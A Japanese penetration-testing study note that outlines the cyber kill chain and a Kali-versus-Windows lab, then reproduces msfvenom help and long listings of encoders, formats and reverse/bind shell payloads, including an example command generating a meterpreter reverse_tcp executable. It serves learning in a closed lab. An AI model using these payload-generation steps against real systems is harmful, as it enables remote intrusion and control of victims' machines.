ペネトレーションテストの学習をする上で、具体的な手法について勉強したのでメモ。
当然ながら自身が管理する閉鎖空間で試してください。また、これらの手法は検証目的で実施しておりますが、普通はアンチウイルスソフトウェアで検知されますので。
キルチェーンのプロセス
| プロセス | 概要 | 手段 |
|---|---|---|
| 偵察((Reconnaissance) | インターネットなどから組織や人物を調査し、対象組織に関する情報を取得する。 | OSINT, ポートスキャン, Whois, SNS |
| 武器化(Weaponization) | エクスプロイトやマルウェアなどのプログラムを作成する。 | Metasploit(msfvenom), PowerShell Empire(listener+stager) |
| デリバリ(Delivery) | マルウェア添付メールを送付する、または、悪意あるリンク付きメールを送付する。相手サーバへの直接アクセスも含まれる。 | 標的型メール |
| エクスプロイト(Exploitation) | 標的にマルウェア添付ファイルを実行させる、または、マルウェア設置サイトへ誘導し、脆弱性を使用したエクスプロイトを実行させる。 | |
| インストール(Installation) | エクスプロイトの成功により、標的がマルウェアに感染する。被害者のシステムがマルウェア実行可能な状態になる。 | |
| C&C(Command and Control) | マルウェアとC&Cサーバを通信させて、感染システムを遠隔操作する通信路が確立する。これにより、感染拡大や、内部情報の探索が可能になる。 | |
| 目的の実行(Actions on Objectives) | 情報窃取や情報破壊、情報改ざん、サービス不能状態など、攻撃者の最終的な目的が標的で実行される。 |
学習環境の準備
攻撃者：Kali linux
- 公式HPよりVM版をダウンロード及びインストール
- localectl set-locale LANG=ja_JP.utf8
- set-keymap jp106
- apt-get update && apt-get upgrade
被害者１：Windows7 Ultimate x64
被害者２：Windows10 Pro x64
マルウェアの作成
msfvenomの引数チェック
# 使い方をチェック
root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--smallest Generate the smallest possible payload using all available encoders
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, thus performing a subtraction to prepend a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
# リスト表示できるタイプの確認
root@kali:~# msfvenom -l type
Invalid type (type). These are valid: payloads, encoders, nops, platforms,archs, formats, all
# 対象アーキテクチャ一覧
root@kali:~# msfvenom -l archs
Framework Architectures [--arch <value>]
========================================
Name
----
aarch64
armbe
armle
cbea
cbea64
cmd
dalvik
firefox
java
mips
mips64
mips64le
mipsbe
mipsle
nodejs
php
ppc
ppc64
ppc64le
ppce500v2
python
r
ruby
sparc
sparc64
tty
x64
x86
x86_64
zarch
# 対象プラットフォーム一覧
root@kali:~# msfvenom -l platforms
Framework Platforms [--platform <value>]
========================================
Name
----
aix
android
apple_ios
bsd
bsdi
cisco
firefox
freebsd
hardware
hpux
irix
java
javascript
juniper
linux
mainframe
multi
netbsd
netware
nodejs
openbsd
osx
php
python
r
ruby
solaris
unix
unknown
windows
# エンコーダの一覧
root@kali:~# msfvenom -l encoders
Framework Encoders [--encoder <value>]
======================================
Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
ruby/base64 great Ruby Base64 Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/service manual Register Service
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor_dynamic normal Dynamic key XOR Encoder
# ファイルフォーマット一覧
root@kali:~# msfvenom -l formats
Framework Executable Formats [--format <value>]
===============================================
Name
----
asp
aspx
aspx-exe
axis2
dll
elf
elf-so
exe
exe-only
exe-service
exe-small
hta-psh
jar
jsp
loop-vbs
macho
msi
msi-nouac
osx-app
psh
psh-cmd
psh-net
psh-reflection
vba
vba-exe
vba-psh
vbs
war
Framework Transform Formats [--format <value>]
==============================================
Name
----
bash
c
csharp
dw
dword
hex
java
js_be
js_le
num
perl
pl
powershell
ps1
py
python
raw
rb
ruby
sh
vbapplication
vbscript
# ペイロード一覧
root@kali:~# msfvenom -l payload
Framework Payloads (541 total) [--payload <value>]
==================================================
Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
android/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell
android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP
android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS
android/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager
apple_ios/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell
bsd/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/vax/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/x64/exec Execute an arbitrary command
bsd/x64/shell_bind_ipv6_tcp Listen for a connection and spawn a command shell over IPv6
bsd/x64/shell_bind_tcp Bind an arbitrary command to an arbitrary port
bsd/x64/shell_bind_tcp_small Listen for a connection and spawn a command shell
bsd/x64/shell_reverse_ipv6_tcp Connect back to attacker and spawn a command shell over IPv6
bsd/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/x64/shell_reverse_tcp_small Connect back to attacker and spawn a command shell
bsd/x86/exec Execute an arbitrary command
bsd/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
bsd/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
bsd/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for a connection over IPv6
bsd/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
bsd/x86/shell/find_tag Spawn a command shell (staged). Use an established connection
bsd/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to the attacker over IPv6
bsd/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
bsd/x86/shell_bind_tcp Listen for a connection and spawn a command shell
bsd/x86/shell_bind_tcp_ipv6 Listen for a connection and spawn a command shell over IPv6
bsd/x86/shell_find_port Spawn a shell on an established connection
bsd/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
bsd/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6
bsdi/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
bsdi/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
bsdi/x86/shell_bind_tcp Listen for a connection and spawn a command shell
bsdi/x86/shell_find_port Spawn a shell on an established connection
bsdi/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
cmd/mainframe/apf_privesc_jcl (Elevate privileges for user. Adds SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using an unsecured/updateable APF authorized library (APFLIB) and updating the user's ACEE using this program/library. Note: This privesc only works with z/OS systems using RACF, no other ESM is supported.)
cmd/mainframe/bind_shell_jcl Provide JCL which creates a bind shell This implmentation does not include ebcdic character translation, so a client with translation capabilities is required. MSF handles this automatically.
cmd/mainframe/generic_jcl Provide JCL which can be used to submit a job to JES2 on z/OS which will exit and return 0. This can be used as a template for other JCL based payloads
cmd/mainframe/reverse_shell_jcl Provide JCL which creates a reverse shell This implementation does not include ebcdic character translation, so a client with translation capabilities is required. MSF handles this automatically.
cmd/unix/bind_awk Listen for a connection and spawn a command shell via GNU AWK
cmd/unix/bind_busybox_telnetd Listen for a connection and spawn a command shell via BusyBox telnetd
cmd/unix/bind_inetd Listen for a connection and spawn a command shell (persistent)
cmd/unix/bind_lua Listen for a connection and spawn a command shell via Lua
cmd/unix/bind_netcat Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_netcat_gaping Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_netcat_gaping_ipv6 Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_nodejs Continually listen for a connection and spawn a command shell via nodejs
cmd/unix/bind_perl Listen for a connection and spawn a command shell via perl
cmd/unix/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl
cmd/unix/bind_r Continually listen for a connection and spawn a command shell via R
cmd/unix/bind_ruby Continually listen for a connection and spawn a command shell via Ruby
cmd/unix/bind_ruby_ipv6 Continually listen for a connection and spawn a command shell via Ruby
cmd/unix/bind_socat_udp Creates an interactive shell via socat
cmd/unix/bind_stub Listen for a connection and spawn a command shell (stub only, no payload)
cmd/unix/bind_zsh Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.
cmd/unix/generic Executes the supplied command
cmd/unix/interact Interacts with a shell on an established socket connection
cmd/unix/reverse Creates an interactive shell through two inbound connections
cmd/unix/reverse_awk Creates an interactive shell via GNU AWK
cmd/unix/reverse_bash Creates an interactive shell via bash's builtin /dev/tcp. This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.
cmd/unix/reverse_bash_telnet_ssl Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL.
cmd/unix/reverse_ksh Connect back and create a command shell via Ksh. Note: Although Ksh is often available, please be aware it isn't usually installed by default.
cmd/unix/reverse_lua Creates an interactive shell via Lua
cmd/unix/reverse_ncat_ssl Creates an interactive shell via ncat, utilizing ssl mode
cmd/unix/reverse_netcat Creates an interactive shell via netcat
cmd/unix/reverse_netcat_gaping Creates an interactive shell via netcat
cmd/unix/reverse_nodejs Continually listen for a connection and spawn a command shell via nodejs
cmd/unix/reverse_openssl Creates an interactive shell through two inbound connections
cmd/unix/reverse_perl Creates an interactive shell via perl
cmd/unix/reverse_perl_ssl Creates an interactive shell via perl, uses SSL
cmd/unix/reverse_php_ssl Creates an interactive shell via php, uses SSL
cmd/unix/reverse_python Connect back and create a command shell via Python
cmd/unix/reverse_python_ssl Creates an interactive shell via python, uses SSL, encodes with base64 by design.
cmd/unix/reverse_r Connect back and create a command shell via R
cmd/unix/reverse_ruby Connect back and create a command shell via Ruby
cmd/unix/reverse_ruby_ssl Connect back and create a command shell via Ruby, uses SSL
cmd/unix/reverse_socat_udp Creates an interactive shell via socat
cmd/unix/reverse_ssl_double_telnet Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
cmd/unix/reverse_stub Creates an interactive shell through an inbound connection (stub only, no payload)
cmd/unix/reverse_zsh Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.
cmd/windows/adduser Create a new user and add them to local administration group. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)
cmd/windows/bind_lua Listen for a connection and spawn a command shell via Lua
cmd/windows/bind_perl Listen for a connection and spawn a command shell via perl (persistent)
cmd/windows/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl (persistent)
cmd/windows/bind_ruby Continually listen for a connection and spawn a command shell via Ruby
cmd/windows/download_eval_vbs Downloads a file from an HTTP(S) URL and executes it as a vbs script. Use it to stage a vbs encoded payload from a short command line.
cmd/windows/download_exec_vbs Download an EXE from an HTTP(S) URL and execute it
cmd/windows/generic Executes the supplied command
cmd/windows/powershell_bind_tcp Interacts with a powershell session on an established socket connection
cmd/windows/powershell_reverse_tcp Interacts with a powershell session on an established socket connection
cmd/windows/reverse_lua Creates an interactive shell via Lua
cmd/windows/reverse_perl Creates an interactive shell via perl
cmd/windows/reverse_powershell Connect back and create a command shell via Powershell
cmd/windows/reverse_ruby Connect back and create a command shell via Ruby
firefox/exec This module runs a shell command on the target OS without touching the disk. On Windows, this command will flash the command prompt momentarily. This can be avoided by setting WSCRIPT to true, which drops a jscript "launcher" to disk that hides the prompt.
firefox/shell_bind_tcp Creates an interactive shell via Javascript with access to Firefox's XPCOM API
firefox/shell_reverse_tcp Creates an interactive shell via Javascript with access to Firefox's XPCOM API
generic/custom Use custom string or file as payload. Set either PAYLOADFILE or PAYLOADSTR.
generic/debug_trap Generate a debug trap in the target process
generic/shell_bind_tcp Listen for a connection and spawn a command shell
generic/shell_reverse_tcp Connect back to attacker and spawn a command shell
generic/tight_loop Generate a tight loop in the target process
java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell
java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell
java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection
java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP
java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS
java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager
java/shell/bind_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Listen for a connection
java/shell/reverse_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Connect back stager
java/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/aarch64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/shell/reverse_tcp dup2 socket in x12, then execve. Connect back to the attacker
linux/aarch64/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/armbe/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/shell_bind_tcp Listen for a connection and spawn a command shell
linux/armle/adduser Create a new user with UID 0
linux/armle/exec Execute an arbitrary command
linux/armle/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection
linux/armle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/armle/shell/bind_tcp dup2 socket in r12, then execve. Listen for a connection
linux/armle/shell/reverse_tcp dup2 socket in r12, then execve. Connect back to the attacker
linux/armle/shell_bind_tcp Connect to target and spawn a command shell
linux/armle/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/mips64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/mips64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/mips64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/mipsbe/exec A very small shellcode for executing commands. This module is sometimes helpful for testing purposes.
linux/mipsbe/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/mipsbe/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/mipsbe/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/mipsbe/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/mipsbe/reboot A very small shellcode for rebooting the system. This payload is sometimes helpful for testing purposes or executing other payloads that rely on initial startup procedures.
linux/mipsbe/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/mipsbe/shell_bind_tcp Listen for a connection and spawn a command shell
linux/mipsbe/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/mipsle/exec A very small shellcode for executing commands. This module is sometimes helpful for testing purposes as well as on targets with extremely limited buffer space.
linux/mipsle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/mipsle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/reboot A very small shellcode for rebooting the system. This payload is sometimes helpful for testing purposes.
linux/mipsle/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/mipsle/shell_bind_tcp Listen for a connection and spawn a command shell
linux/mipsle/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/ppc/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/ppc/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/ppc/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
linux/ppc/shell_find_port Spawn a shell on an established connection
linux/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/ppc64/shell_bind_tcp Listen for a connection and spawn a command shell
linux/ppc64/shell_find_port Spawn a shell on an established connection
linux/ppc64/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/ppc64le/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/ppc64le/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/ppc64le/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/ppce500v2/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/ppce500v2/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/ppce500v2/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x64/exec Execute an arbitrary command
linux/x64/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection
linux/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/x64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x64/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
linux/x64/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x64/shell_bind_tcp Listen for a connection and spawn a command shell
linux/x64/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
linux/x64/shell_find_port Spawn a shell on an established connection
linux/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command
linux/x86/meterpreter/bind_ipv6_tcp Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/meterpreter/bind_ipv6_tcp_uuid Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/meterpreter/bind_nonx_tcp Inject the mettle server payload (staged). Listen for a connection
linux/x86/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection (Linux x86)
linux/x86/meterpreter/bind_tcp_uuid Inject the mettle server payload (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/meterpreter/find_tag Inject the mettle server payload (staged). Use an established connection
linux/x86/meterpreter/reverse_ipv6_tcp Inject the mettle server payload (staged). Connect back to attacker over IPv6
linux/x86/meterpreter/reverse_nonx_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
linux/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/shell/bind_ipv6_tcp_uuid Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/shell/bind_nonx_tcp Spawn a command shell (staged). Listen for a connection
linux/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection (Linux x86)
linux/x86/shell/bind_tcp_uuid Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/shell/find_tag Spawn a command shell (staged). Use an established connection
linux/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to attacker over IPv6
linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp_uuid Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell
linux/x86/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
linux/x86/shell_find_port Spawn a shell on an established connection
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6
linux/zarch/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/zarch/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/zarch/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
mainframe/shell_reverse_tcp Listen for a connection and spawn a command shell. This implementation does not include ebcdic character translation, so a client with translation capabilities is required. MSF handles this automatically.
multi/meterpreter/reverse_http Handle Meterpreter sessions regardless of the target arch/platform. Tunnel communication over HTTP
multi/meterpreter/reverse_https Handle Meterpreter sessions regardless of the target arch/platform. Tunnel communication over HTTPS
netware/shell/reverse_tcp Connect to the NetWare console (staged). Connect back to the attacker
nodejs/shell_bind_tcp Creates an interactive shell via nodejs
nodejs/shell_reverse_tcp Creates an interactive shell via nodejs
nodejs/shell_reverse_tcp_ssl Creates an interactive shell via nodejs, uses SSL
osx/armle/execute/bind_tcp Spawn a command shell (staged). Listen for a connection
osx/armle/execute/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
osx/armle/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
osx/armle/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
osx/armle/shell_bind_tcp Listen for a connection and spawn a command shell
osx/armle/shell_reverse_tcp Connect back to attacker and spawn a command shell
osx/armle/vibrate Causes the iPhone to vibrate, only works when the AudioToolkit library has been loaded. Based on work by Charlie Miller <cmiller[at]securityevaluators.com>.
osx/ppc/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
osx/ppc/shell/find_tag Spawn a command shell (staged). Use an established connection
osx/ppc/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
osx/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
osx/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
osx/x64/dupandexecve/bind_tcp dup2 socket in edi, then execve. Listen, read length, read buffer, execute
osx/x64/dupandexecve/reverse_tcp dup2 socket in edi, then execve. Connect, read length, read buffer, execute
osx/x64/exec Execute an arbitrary command
osx/x64/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen, read length, read buffer, execute
osx/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect, read length, read buffer, execute
osx/x64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
osx/x64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
osx/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
osx/x64/say Say an arbitrary string outloud using Mac OS X text2speech
osx/x64/shell_bind_tcp Bind an arbitrary command to an arbitrary port
osx/x64/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
osx/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell
osx/x86/bundleinject/bind_tcp Inject a custom Mach-O bundle into the exploited process. Listen, read length, read buffer, execute
osx/x86/bundleinject/reverse_tcp Inject a custom Mach-O bundle into the exploited process. Connect, read length, read buffer, execute
osx/x86/exec Execute an arbitrary command
osx/x86/isight/bind_tcp Inject a Mach-O bundle to capture a photo from the iSight (staged). Listen, read length, read buffer, execute
osx/x86/isight/reverse_tcp Inject a Mach-O bundle to capture a photo from the iSight (staged). Connect, read length, read buffer, execute
osx/x86/shell_bind_tcp Listen for a connection and spawn a command shell
osx/x86/shell_find_port Spawn a shell on an established connection
osx/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
osx/x86/vforkshell/bind_tcp Call vfork() if necessary and spawn a command shell (staged). Listen, read length, read buffer, execute
osx/x86/vforkshell/reverse_tcp Call vfork() if necessary and spawn a command shell (staged). Connect, read length, read buffer, execute
osx/x86/vforkshell_bind_tcp Listen for a connection, vfork if necessary, and spawn a command shell
osx/x86/vforkshell_reverse_tcp Connect back to attacker, vfork if necessary, and spawn a command shell
php/bind_perl Listen for a connection and spawn a command shell via perl (persistent)
php/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl (persistent) over IPv6
php/bind_php Listen for a connection and spawn a command shell via php
php/bind_php_ipv6 Listen for a connection and spawn a command shell via php (IPv6)
php/download_exec Download an EXE from an HTTP URL and execute it
php/exec Execute a single system command
php/meterpreter/bind_tcp Run a meterpreter server in PHP. Listen for a connection
php/meterpreter/bind_tcp_ipv6 Run a meterpreter server in PHP. Listen for a connection over IPv6
php/meterpreter/bind_tcp_ipv6_uuid Run a meterpreter server in PHP. Listen for a connection over IPv6 with UUID Support
php/meterpreter/bind_tcp_uuid Run a meterpreter server in PHP. Listen for a connection with UUID Support
php/meterpreter/reverse_tcp Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functions
php/meterpreter/reverse_tcp_uuid Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functions
php/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter server (PHP)
php/reverse_perl Creates an interactive shell via perl
